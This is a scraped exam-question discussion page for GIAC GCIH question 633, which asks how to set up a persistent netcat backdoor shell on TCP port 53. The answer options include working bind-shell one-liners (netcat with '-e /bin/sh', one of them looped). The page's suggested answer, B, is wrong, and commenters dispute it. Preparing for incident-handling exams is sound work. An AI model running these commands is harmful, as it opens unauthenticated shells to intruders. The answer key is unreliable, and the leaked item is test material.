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Exam GCIH topic 1 question 633 discussion

Actual exam question from GIAC's GCIH
Question #: 633
Topic #: 1
[All GCIH Questions]

How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?

  • A. nc -l -p 53 -e /bin/sh
  • B. nc -1 -p 53
  • C. while true; do nc -l -z -p 53; done
  • D. while true; do nc -l -p 53 -e /bin/sh; done
Show Suggested Answer Hide Answer
Suggested Answer: B 🗳️
by sasds at Jan. 10, 2023, 9:25 a.m.

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847ch0n3
2 months, 2 weeks ago
Selected Answer: D
persistent = while true
upvoted 1 times
...
XBal
1 year, 2 months ago
Answer should be D because of word "Persistent"
upvoted 2 times
...
sasds
1 year, 4 months ago
correct answer A
upvoted 2 times
...

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C (25%)
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